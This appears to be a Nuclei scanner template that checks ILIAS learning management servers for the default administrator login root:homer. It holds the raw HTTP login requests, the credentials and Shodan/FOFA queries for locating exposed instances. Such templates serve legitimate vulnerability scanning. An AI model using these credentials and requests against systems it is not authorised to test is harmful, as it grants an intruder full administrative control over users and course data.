ilias-default-login: ILIAS LMS - Default Admin Credentials

id: ilias-default-login

info:
  name: ILIAS LMS - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    The ILIAS learning management system was found to be using default administrator credentials (root:homer). An attacker was able to gain full administrative access to manage courses, users, and system configuration.
  reference:
    - https://www.ilias.de/
    - https://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.107313
  metadata:
    verified: true
    max-request: 2
    vendor: ilias
    product: ilias
    shodan-query: 'http.title:"Login to ILIAS"'
    fofa-query: 'title="Login to ILIAS"'
  tags: ilias,default-login,auth,lms

variables:
  username: "root"
  password: "homer"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ILIAS", "username", "password")'
        condition: and

    extractors:
      - type: regex
        name: client_id
        part: body
        group: 1
        internal: true
        regex:
          - 'client_id=([a-zA-Z0-9_-]+)'

  - raw:
      - |
        POST /ilias.php?baseClass=ilStartUpGUI&cmd=post&fallbackCmd=doStandardAuthentication&client_id={{client_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&cmd%5BdoStandardAuthentication%5D=Login

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - '!contains(to_lower(header), "login.php")'
          - 'contains(to_lower(header), "ilias.php")'
        condition: and
# digest: 4a0a00473045022009e23de5660fe4a7ccfda929130648d911a796b0f7df7401bf4b711ec560435e022100a8bd86c5d887eca036e0dd99ca2fcf82544d9f22a52c9377ae5a3702fa57441c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.